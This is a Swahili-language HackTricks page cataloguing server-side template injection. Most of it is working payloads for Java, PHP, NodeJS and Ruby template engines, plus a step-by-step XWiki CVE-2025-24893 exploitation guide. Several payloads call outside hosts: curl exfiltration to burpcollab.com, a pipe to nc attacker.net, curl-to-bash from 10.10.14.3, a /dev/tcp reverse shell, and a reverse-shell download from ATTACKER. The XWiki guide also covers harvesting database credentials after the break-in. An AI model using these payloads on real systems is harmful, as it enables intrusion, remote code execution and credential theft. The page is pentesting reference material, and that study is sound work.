SSTI (Server Side Template Injection)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SSTI (Server-Side Template Injection) ni nini

Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza code yenye madhara ndani ya kiolezo kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwemo Jinja.

Jinja ni engine maarufu ya kiolezo inayotumika katika programu za wavuti. Tuchukulie mfano unaoonyesha kipande cha code chenye udhaifu kinachotumia Jinja:

output = template.render(name=request.args.get('name'))

Katika msimbo huu wenye udhaifu, parameter name kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja ndani ya kiolezo kwa kutumia render.

Hii inaweza kumruhusu attacker ku-inject malicious code ndani ya parameter name, na kusababisha server-side template injection.

Kwa mfano, attacker anaweza kutengeneza ombi lenye payload kama ifuatayo:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} inachomwa ndani ya parameter ya name. Payload hii inaweza kuwa na Jinja template directives ambazo zinamruhusu mshambulizi kutekeleza code isiyoidhinishwa au kubadilisha template engine, na kwa hivyo kupata udhibiti wa server.

Ili kuzuia udhaifu wa Server-Side Template Injection, waendelezaji wanapaswa kuhakikisha kuwa input ya mtumiaji imesafishwa vizuri na kuthibitishwa kabla ya kuingizwa katika templates. Kutekeleza input validation na kutumia techniques za context-aware escaping kunaweza kusaidia kupunguza hatari ya udhaifu huu.

Ugunduzi

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template ni mbinu rahisi. Hii inajumuisha kuchoma mfululizo wa tabia maalum (${{<%[%'"}}%\) ndani ya template na kuchambua tofauti katika majibu ya server kwa data ya kawaida dhidi ya payload maalum hii. Viashiria vya udhaifu ni pamoja na:

  • Makosa yanayotolewa, yakifichua udhaifu na pengine template engine.
  • Kutokuwepo kwa payload kwenye mrejeleo, au sehemu zake kukosekana, ikimaanisha server inaitengeneza tofauti na data ya kawaida.
  • Muktadha wa maandishi wazi: Tambua tofauti na XSS kwa kukagua kama server inafanya tathmini ya template expressions (mfano, {{7*7}}, ${7*7}).
  • Muktadha wa Msimbo: Thibitisha udhaifu kwa kubadilisha vigezo vya input. Kwa mfano, kubadilisha greeting katika http://vulnerable-website.com/?greeting=data.username kuona kama output ya server ni ya dynamic au fasta, kama greeting=data.username}}hello ikirudisha username.

Awamu ya Utambulisho

Kuutambua template engine kunahusisha kuchunguza ujumbe wa makosa au kujaribu kwa mikono payload mbalimbali za lugha maalum. Payload za kawaida zinazosababisha makosa ni pamoja na ${7/0}, {{7/0}}, na <%= 7/0 %>. Kuangalia jibu la server kwa operesheni za kihisabati husaidia kubaini template engine maalum.

Utambulisho kwa payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Zana

TInjA

skana ya SSTI + CSTI yenye ufanisi inayotumia polyglots mpya

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

jedwali la mwingiliano linaloonyesha template injection polyglots zinazofanya kazi kwa ufanisi pamoja na majibu yanayotarajiwa ya template engines 44 muhimu zaidi.

Exploits

Jeneriki

Katika wordlist hii unaweza kupata variables defined katika mazingira ya baadhi ya engines zilizotajwa hapa chini:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pata environment variables za mfumo

${T(java.lang.System).getenv()}

Java - Pata /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Unaweza kujaribu payload zako kwenye https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ inafanya kazi tu kwenye matoleo ya Freemarker chini ya 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Taarifa zaidi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Taarifa zaidi

Thymeleaf

Kwenye Thymeleaf, jaribio la kawaida kwa udhaifu wa SSTI ni expression ${7*7}, ambalo pia linaweza kutumika kwa template engine hii. Kwa uwezekano wa remote code execution, expressions kama zifuatazo zinaweza kutumika:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf inahitaji expressions hizi kuwekwa ndani ya attributes maalum. Hata hivyo, expression inlining inaungwa mkono kwa maeneo mengine ya template, kwa kutumia syntax kama [[...]] au [(...)]. Kwa hivyo, payload rahisi la jaribio la SSTI linaweza kuwa [[${7*7}]].

Hata hivyo, uwezekano wa payload hii kufanya kazi kwa ujumla ni mdogo. Muundo wa default wa Thymeleaf hauungi mkono dynamic template generation; templates lazima ziwe predefined. Waendelezaji wangehitaji kutekeleza TemplateResolver zao ili kuunda templates kutoka kwa strings kwa wakati wa utekelezaji, jambo ambalo si la kawaida.

Thymeleaf pia inatoa expression preprocessing, ambapo expressions ndani ya underscores mbili (__...__) zinaproseswa awali. Kipengele hiki kinaweza kutumika katika uundaji wa expressions, kama inavyoonyeshwa katika nyaraka za Thymeleaf:

#{selection.__${sel.code}__}

Mfano wa Udhaifu katika Thymeleaf

Angalia kifungu cha msimbo kinachofuata, ambacho kinaweza kutumika kwa exploitation:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Hii inaonyesha kwamba, ikiwa template engine itashughulikia ingizo hizi vibaya, inaweza kusababisha remote code execution ikifikia URLs kama:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Taarifa zaidi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Miundo mbalimbali za variable expressions zinaweza kutumika; ikiwa ${...} haitumiki jaribu #{...}, *{...}, @{...} au ~{...}.

  • Soma /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script ya desturi kwa ajili ya uzalishaji wa payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Taarifa Zaidi

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Toleo la zamani la Pebble ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Toleo jipya la Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ni mradi wa chanzo wazi uliotengenezwa na Hubspot, unapatikana kwenye https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Imerekebishwa na https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Taarifa zaidi

Hubspot - HuBL (Java)

  • {% %} alama za kuashiria tamko
  • {{ }} alama za kuashiria maelezo
  • {# #} alama za kuashiria maoni
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Tafuta “com.hubspot.content.hubl.context.TemplateContextRequest” na ugundue mradi wa Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Taarifa zaidi

Lugha ya Expression - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Lugha ya Expression (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama managed beans) katika JavaEE. Inatumiwa kwa wingi katika teknolojia mbalimbali za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:

  • JavaServer Faces (JSF): Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vinavyohusiana upande wa backend.
  • JavaServer Pages (JSP): EL inatumiwa katika JSP kwa kufikia na kurekebisha data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya kurasa na data ya programu.
  • Contexts and Dependency Injection for Java EE (CDI): EL inaunganishwa na CDI kuruhusu mwingiliano usio na mshono kati ya tabaka la wavuti na managed beans, kuhakikisha muundo wa programu unaoeleweka zaidi.

Angalia ukurasa ufuatao ili ujifunze zaidi kuhusu exploitation of EL interpreters:

EL - Expression Language

Groovy (Java)

Security Manager bypasses zifuatazo zimetolewa kutoka kwa writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) hutoa unauthenticated RSS search feeds kupitia macro ya Main.SolrSearch. Handler inachukua query parameter text, inaifunga katika wiki syntax na kutekeleza macros, hivyo kuingiza }}} ikifuatiwa na {{groovy}} hufanya Groovy yoyote kutekelezwa kwenye JVM.

  1. Fingerprint & scope – Wakati XWiki iko reverse-proxied nyuma ya host-based routing, fuzz header ya Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) ili kugundua wiki vhost, kisha vinjari /xwiki/bin/view/Main/ na soma footer (XWiki Debian 15.10.8) ili kuthibitisha toleo lenye udhaifu.
  2. Trigger SSTI – Tuma ombi kwa /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Kipengee cha RSS <title> kitatilia ndani pato la Groovy. Kila mara “URL-encode all characters” ili nafasi zibaki kama %20; kuzibadilisha kuwa + hufanya XWiki kurudisha HTTP 500.
  3. Run OS commands – Badilisha mwili wa Groovy kwa {{groovy}}println("id".execute().text){{/groovy}}. String.execute() inaanzisha amri moja kwa moja kwa execve(), hivyo shell metacharacters (|, >, &) hazitafsiriwi. Badala yake tumia kiolezo cha download-and-execute:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (script hiyo ina mantiki ya reverse shell).
  1. Post exploitation – XWiki huhifadhi database credentials katika /etc/xwiki/hibernate.cfg.xml; leaking hibernate.connection.password inatoa real-system passwords ambazo zinaweza kutumika tena kwa SSH. Ikiwa service unit imeweka NoNewPrivileges=true, zana kama /bin/su hazitapata privileges zaidi hata ukiwa na password sahihi, hivyo piga pivot kwa SSH badala ya kutegemea local SUID binaries.

Payload ileile inafanya kazi pia kwenye /xwiki/bin/get/Main/SolrSearch, na stdout ya Groovy kila mara imejumuishwa kwenye title ya RSS, hivyo ni rahisi kuandika script za kufanya enumeration ya amri.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Taarifa zaidi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Muundo wa kiolezo

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Maelezo zaidi

Plates (PHP)

Plates ni injini ya templeti ya asili kwa PHP, ikichukua msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP ndani ya templeti, na kuifanya iwe rahisi kueleweka kwa watengenezaji wa PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Kiolezo cha ukurasa:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Kiolezo cha mpangilio:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Taarifa zaidi

PHPlib na HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Maelezo zaidi

PHP Nyingine

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Taarifa zaidi

patTemplate (PHP)

patTemplate injini ya template ya PHP isiyofanya compilation, inayotumia tag za XML kugawa hati katika sehemu tofauti

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Maelezo zaidi

Handlebars (NodeJS)

Path Traversal (maelezo zaidi here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Hitilafu
  • ${7*7} = ${7*7}
  • Hakuna kitu
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Taarifa zaidi

JsRender (NodeJS)

KiolezoMaelezo
Tathmini na kuonyesha matokeo
Tathmini na kuonyesha matokeo zilizohifadhiwa kwa HTML
Maoni
naRuhusu code (imezimwa kwa chaguo-msingi)
  • = 49

Upande wa Mteja

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Upande wa seva

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Maelezo zaidi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Mfano wa server-side render

var pugjs = require("pug")
home = pugjs.render(injected_page)

Taarifa zaidi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Hakuna matokeo
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Kosa
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Taarifa zaidi

Sandboxes za misemo za NodeJS (vm2 / isolated-vm)

Baadhi ya watengenezaji wa workflow huchambua misemo inayodhibitiwa na watumiaji ndani ya sandboxes za Node (vm2, isolated-vm), lakini muktadha wa misemo bado unaweka wazi this.process.mainModule.require. Hii inamruhusu mshambuliaji kupakia child_process na kutekeleza amri za OS hata pale nodes maalum za “Execute Command” zikiwa zimezimwa:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

NodeJS Nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Taarifa zaidi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Maelezo zaidi

Ruby nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Angalia ukurasa ufuatao ili ujifunze mbinu kuhusu arbitrary command execution bypassing sandboxes katika Python:

Bypass Python sandboxes

Tornado (Python)

